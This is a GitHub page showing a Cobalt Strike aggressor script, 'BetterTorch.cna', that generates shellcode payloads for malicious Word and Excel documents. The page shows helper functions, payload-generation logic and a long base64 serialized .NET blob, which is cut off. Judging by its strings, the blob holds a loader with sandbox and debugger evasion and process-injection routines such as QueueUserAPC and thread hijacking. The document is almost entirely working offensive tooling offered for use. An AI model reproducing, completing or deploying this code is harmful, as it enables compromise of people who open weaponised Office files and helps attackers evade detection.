-
Notifications
You must be signed in to change notification settings - Fork 5
/
BetterTorch.cna
336 lines (289 loc) · 57.1 KB
/
BetterTorch.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
# BetterTorch plugin for Cobalt Strike targeted at Word/Excel
# Author: Ryan Linn (@sussurro)
# CactusTorch Author: Vincent Yiu (@vysecurity)
# Credits to @armitagehacker for the original script
sub range
{
return lambda(
{
return iff($begin <= $end, $begin++ - 1, $null);
}, $begin => $1, $end => $2);
}
sub random_string {
local('$length $clen @chars');
@firstchar = split("","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz");
@chars = split("","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
$clen = size(@chars);
$length = $1;
$str = "";
$str = $str . rand(@firstchar);
foreach $value (range(2,$length)){
$str = $str . rand(@chars);
}
return $str;
}
sub setup_attack {
local('%options $script $url $payload');
%options = $3;
# Stageless variable = %options["stageless"];
# Type variable = %options["type"]
# Generate a raw powershell payload depending on type
if (%options["stageless"] eq "true"){
# Generate stageless payload
artifact_stageless(%options["listener"], "raw", "x86", $null, $this);
yield;
$payload = $1;
}
else{
# Generate staged payload
$payload = shellcode(%options["listener"], "true", "x86");
}
# $payload now has my shellcode in raw
$b64payload = base64_encode($payload);
if(%options["netType"] eq "4")
{
$hexdata = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkDAAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAHdGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0ludm9rZQoEAwAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAACQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0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AIYACwTYAjcAGCQAAAAAhgAuDtgCOQBgJAAAAACGAMIK3gI7AMokAAAAAIYABA3lAj0A3CQAAAAAhgBmDewCPwBEJQAAAACGADAO8wJBAFgmAAAAAIYAVw7zAkMAAAAAAIAAkSCfBPkCRQAAAAAAgACRIA0NBANLAAAAAACAAJEgMgQKA00AMCcAAAAAhgD6BBUAUQB/JwAAAACRGLUKEgNSAAAAAAADAIYYrwoWA1IAAAAAAAMAxgFUBU4AVAAAAAAAAwDGAU8FHANUAAAAAAADAMYBRQUkA1YAAAABABgJAAABAM0MAAACALwHAAADAC4GAAABAGMMAAACALoFAAADAFEEAAABAI8MAAACAKwMAAADAFMKAAAEALYHAgAFAPQIAAABAGQAAAACAKwEAAADAO8DAAABAM0MAAACALwHAAADAEMGAAAEADcNAAABADkKAAACAM8HAAADAEMGAAAEADcNAAABAI8MAAACAM0MAAADALwHAAAEAEMGAAAFADcNAAABAHMMAAACALoFAAADAGgEAAABAGMMAAACALoFAAADAFwEAAABAOUFAAACABEGAAADAJELAAAEAH4LAAAFAG4LAAAGAMMLAAAHAJINAAAIAHkOAAAJABcKAgAKAGEJAAABAKwEAAABAKwEAAABAI8MAAACAM0MAAADALwHAAAEAEENAgAFACgNAAABAJQIAAACAGIIAAABADUAAAABADcOAAACANgNAAABADcOAAACANgNAAABAHYIAAACALYNAAABAHENAAACAKwHAAABAHENAAACAKwHAAABAF8OAAACAAgAAAABAKQMAAACAAgAAAABAH4LAAACAKAHAAADANcMAAAEANYIAAAFAMMLAAAGAEYEAAABAKAFAAACAOMKAAABADkKAAACAM8HAAADAEMGAAAEADcNAAABAAgAAAABACENAAACABkFAAABAIsIAAACACENAAABAIsNCQCvCgEAEQCvCgYAGQCvCgoAKQCvChAAMQCvChUAOQCvChUAkQCvCgYAqQCvChoA0QBYCyAA0QDWBSUA2QDuCykADACvCgYA6QD/DEMADADNBEgADACsDU4AUQDyCmYAUQC6DGwAQQBPCCUA2QCDCiUA2QD1C3EA+QAxBXYA2QAKBX0ACQHcBIMAQQCvCgYAEQF5DYwAGQEvCJcAIQElCp0AKQFaDaAAMQFSDqUAOQGoBa4AMQFlCrcAWQCvCgYA2QBrCE4A2QAwDMkAWQASBc4AUQGOAdQAUQGlC9oAGQFACOAAaQCvCgYAYQCvCgYAaQDtDfcA2QCvCvwAYQDNBAIBYQCvCgcBYQFODRoBYQEfCSEBaQEnCC0BYQFaDTYBaQELCT0B2QBYCEMB2QDUB1cBEQFbBVwB2QAGDXYAcQD3BXIBcQA/BE4AcQDXCnkBeQGhCn8BeQCgDYQBgQA/BE4AeQDpDYgBiQB3BgYACAAEAJ0BCAAIAKIBCAAMAKcBCAAQAKwBCAAUALEBCQAsALYBCQAwALsBCQA0AMABCQA4AMUBCQA8AMoBCQBAAM8BCQBEANQBCQBIANkBCQBQALEBCQBUAKwBCQBYAN4BCQBcAOMBCQBgAOgBCQBkAJ0BCQBoAO0BCQBsAKcBCQBwAPIBCQB0APcBCQB4AKIBCQCAAPwBCQCEAAECCQCMAAYCCQCQAOgBCQCUAJ0BCQCYAKcBCQCcALEBCQCgAKwBCQCkAN4BCQCoAOMBCQCsAPIBCQCwAPcBCQC0AKIBCQC4ALYBCQC8ANQBCQDEAAsCCQDIABACCQDMABUCCQDQALEBCQDUAPcBCQDYABoCCQDcAB8CCQDgACQCCQDkALYBCQDoALYBCQDsAO0BCQDwAKIBCQD0AJ0BCQD4AOgBCQD8AKcBCQAAAcUBCQAEASkCCABkAegBCABoAZ0BCABsAacBCABwAbEBCAB0AawBCAB4Ad4BCAB8AeMBCACAAfIBCACEAfcBCACIAS4CCACMATMCCACUAbYBCACYAbsBCACcASkCCACkAZ0BCACoAe0BCACsAbEBCACwAawBCAC0Ad4BLgALACoDLgATADMDLgAbAFIDLgAjAFsDLgArAGEDLgAzAIsDYwAjAJgDgwA7AOgBowA7AOgBwwBDAFIDAwE7AOgBIwE7AOgBgwE7AOgBMQBSAIcAkQDBAOYA7AAOAUkBYQGMARQArgg9AAABDwA5BQEAQAERALQEAgBAARMAZg4CAAABFQBrAAIAQAEXADIEAgAAARkAMgQBAEABGwAKDgIAQAEdAJgMAgBAAR8AmAwCAAABIQCBDAIAAAEjAJIEAgAAASUAhAQCAAABJwAZDgIAAAE9AJ8EAgAAAT8ADQ0CAAABQQAyBAIABIAAAAEAAAAAAAAAAAAAAAAAOw4AAAIAAAAAAAAAAAAAAJQBAgQAAAAAAgAAAAAAAAAAAAAAlAHcCAAAAAAEAAMABQADAAYAAwAHAAMACAADAAkAAwAKAAMACwADAAwAAwANAAMADgADAAAAAExpc3RgMQBzaGVsbGNvZGUzMgBrZXJuZWwzMgBjYlJlc2VydmVkMgBscFJlc2VydmVkMgBzaGVsbGNvZGU2NAA8TW9kdWxlPgBDUkVBVEVfQlJFQUtBV0FZX0ZST01fSk9CAHBmbkFQQwBRdWV1ZVVzZXJBUEMAUFJPQ0VTU19DUkVBVEVfVEhSRUFEAFBBR0VfRVhFQ1VURV9SRUFEAFBST0NFU1NfVk1fUkVBRABDUkVBVEVfU1VTUEVOREVEAENSRUFURV9ERUZBVUxUX0VSUk9SX01PREUATUVNX0ZSRUUAQ1JFQVRFX05FV19DT05TT0xFAFNVU1BFTkRfUkVTVU1FAE1FTV9SRUxFQVNFAFRFUk1JTkFURQBJTVBFUlNPTkFURQBQQUdFX1JFQURXUklURQBQQUdFX0VYRUNVVEVfUkVBRFdSSVRFAFBST0NFU1NfVk1fV1JJVEUAUEFHRV9FWEVDVVRFAE1FTV9SRVNFUlZFAFpFUk9fRkxBRwBXUklURV9XQVRDSABnZXRfQVNDSUkAVEhSRUFEX0hJSkFDSwBQSFlTSUNBTABDUkVBVEVfUFJFU0VSVkVfQ09ERV9BVVRIWl9MRVZFTABUSFJFQURfQUxMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBTRVRfVEhSRUFEX1RPS0VOAFBST0NFU1NfSU5GT1JNQVRJT04AU0VUX0lORk9STUFUSU9OAFBST0NFU1NfUVVFUllfSU5GT1JNQVRJT04ARElSRUNUX0lNUEVSU09OQVRJT04AUFJPQ0VTU19WTV9PUEVSQVRJT04AVE9QX0RPV04AU1RBUlRVUElORk8AR08AU3lzdGVtLklPAENSRUFURV9ORVdfUFJPQ0VTU19HUk9VUABMQVJHRV9QQUdFUwBOT0FDQ0VTUwBERVRBQ0hFRF9QUk9DRVNTAENSRUFURV9QUk9URUNURURfUFJPQ0VTUwBERUJVR19QUk9DRVNTAERFQlVHX09OTFlfVEhJU19QUk9DRVNTAFJFU0VUAE1FTV9ERUNPTU1JVABNRU1fQ09NTUlUAENSRUFURV9VTklDT0RFX0VOVklST05NRU5UAEVYVEVOREVEX1NUQVJUVVBJTkZPX1BSRVNFTlQAR0VUX0NPTlRFWFQAU0VUX0NPTlRFWFQAQ1JFQVRFX05PX1dJTkRPVwBkd1gAUEFHRV9SRUFET05MWQBFWEVDVVRFX1dSSVRFQ09QWQBJTkhFUklUX1BBUkVOVF9BRkZJTklUWQBkd1kAdmFsdWVfXwB2ZWxtYQBkd0RhdGEAU2V0UXVvdGEAY2IAbXNjb3JsaWIAeGIAaXNCYWRNYWMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAVmlydHVhbEFsbG9jAGdldF9JZABscFRocmVhZElkAGR3VGhyZWFkSWQAZHdQcm9jZXNzSWQAcHJvY2Vzc0lkAFZpcnR1YWxNZW1vcnlSZWFkAFN1c3BlbmRUaHJlYWQAUmVzdW1lVGhyZWFkAENyZWF0ZVRocmVhZABoVGhyZWFkAE9wZW5UaHJlYWQAUHJvY2Vzc1RocmVhZABBZGQAaXNEZWJ1Z2dlZABnZXRfSXNBdHRhY2hlZABpc0RvbWFpbkpvaW5lZABmcmVkAGxwUmVzZXJ2ZWQAVHJpbUVuZABBcHBlbmQAbWV0aG9kAE5ldHdvcmtJbnRlcmZhY2UAUmVwbGFjZQBWaXJ0dWFsRnJlZQBFbmRJbnZva2UAQmVnaW5JbnZva2UAR2V0RW52aXJvbm1lbnRWYXJpYWJsZQBJRGlzcG9zYWJsZQBSdW50aW1lVHlwZUhhbmRsZQBEdXBsaWNhdGVIYW5kbGUAaEhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBiSW5oZXJpdEhhbmRsZQBGaWxlAGxwVGl0bGUAZ2V0X0RvbWFpbk5hbWUAbHBBcHBsaWNhdGlvbk5hbWUAR2V0UHJvY2Vzc2VzQnlOYW1lAGRhcGhuZQBscENvbW1hbmRMaW5lAE15c3RlcnlNYWNoaW5lAGR3RnJlZVR5cGUAVmFsdWVUeXBlAGZsQWxsb2NhdGlvblR5cGUAUmVhZE9ubHlDb2xsZWN0aW9uQmFzZQBDaGVja1BsZWFzZQBEaXNwb3NlAEV4ZWN1dGVEZWxlZ2F0ZQBNdWx0aWNhc3REZWxlZ2F0ZQBUZXJtaW5hdGUAVmlydHVhbE1lbW9yeVdyaXRlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFVubWFuYWdlZEZ1bmN0aW9uUG9pbnRlckF0dHJpYnV0ZQBGbGFnc0F0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGR3WFNpemUAZHdZU2l6ZQBkd1N0YWNrU2l6ZQBjaHVua1NpemUAblNpemUAZHdTaXplAFN5bmNocm9uaXplAHNpemUASW5kZXhPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNIRV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBFbmNvZGluZwBDZWlsaW5nAEZyb21CYXNlNjRTdHJpbmcAVG9CYXNlNjRTdHJpbmcAVG9TdHJpbmcAU3Vic3RyaW5nAGFyZwBNYXRoAGdldF9MZW5ndGgAbGVuZ3RoAEFzeW5jQ2FsbGJhY2sAY2FsbGJhY2sAY2hlY2sATWFyc2hhbABEZWNpbWFsAEFsbABrZXJuZWwzMi5kbGwATXlzdGVyeU1hY2hpbmVBc3NlbWJseS5kbGwAcGFyYW0AU3lzdGVtAFJhbmRvbQBTdGF0ZUVudW0AbHBOdW1iZXJPZkJ5dGVzV3JpdHRlbgBNaW4AaXNEb21haW4AZG9tYWluAG9wX0RpdmlzaW9uAFF1ZXJ5TGltaXRlZEluZm9ybWF0aW9uAFN5c3RlbS5OZXQuTmV0d29ya0luZm9ybWF0aW9uAGxwUHJvY2Vzc0luZm9ybWF0aW9uAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AVmlydHVhbE1lbW9yeU9wZXJhdGlvbgBTeXN0ZW0uUmVmbGVjdGlvbgBJQ29sbGVjdGlvbgBQcm9jZXNzVGhyZWFkQ29sbGVjdGlvbgBNZW1vcnlQcm90ZWN0aW9uAENhbGxpbmdDb252ZW50aW9uAFN0cmluZ0NvbXBhcmlzb24AbHBTdGFydHVwSW5mbwBaZXJvAGxwRGVza3RvcABDaGFyAGxwU3RhcnRBZGRyAFN0cmluZ0J1aWxkZXIAbHBCdWZmZXIARGVidWdnZXIAR2V0RGVsZWdhdGVGb3JGdW5jdGlvblBvaW50ZXIAVG9Mb3dlcgBoU3RkRXJyb3IASUVudW1lcmF0b3IAR2V0RW51bWVyYXRvcgAuY3RvcgAuY2N0b3IAVUludFB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAZ2V0X1RocmVhZHMAZHdNaWxsaXNlY29uZHMAR2V0QWxsTmV0d29ya0ludGVyZmFjZXMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAR2V0SVBHbG9iYWxQcm9wZXJ0aWVzAGJJbmhlcml0SGFuZGxlcwBscFRocmVhZEF0dHJpYnV0ZXMAbHBQcm9jZXNzQXR0cmlidXRlcwBHZXRCeXRlcwBQcm9jZXNzQ3JlYXRpb25GbGFncwBkd0NyZWF0aW9uRmxhZ3MAUHJvY2Vzc0FjY2Vzc0ZsYWdzAGR3RmxhZ3MARXF1YWxzAENvbnRhaW5zAFN5c3RlbS5UZXh0LlJlZ3VsYXJFeHByZXNzaW9ucwBTeXN0ZW0uQ29sbGVjdGlvbnMAZ2V0X0NoYXJzAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBUaHJlYWRBY2Nlc3MAZHdEZXNpcmVkQWNjZXNzAHByb2Nlc3NBY2Nlc3MAQ3JlYXRlUHJvY2VzcwBoUHJvY2VzcwBPcGVuUHJvY2VzcwBwcm9jZXNzAGxwQmFzZUFkZHJlc3MAR2V0UGh5c2ljYWxBZGRyZXNzAGxwQWRkcmVzcwBscFN0YXJ0QWRkcmVzcwBjb250YWluc1NhbmRib3hBcnRpZmFjdHMARXhpc3RzAENvbmNhdABXYWl0Rm9yU2luZ2xlT2JqZWN0AG9iamVjdABscGZsT2xkUHJvdGVjdABmbFByb3RlY3QAZmxOZXdQcm90ZWN0AG9wX0ltcGxpY2l0AG9wX0V4cGxpY2l0AENodW5rU3BsaXQAdG9TcGxpdABFeGl0AElBc3luY1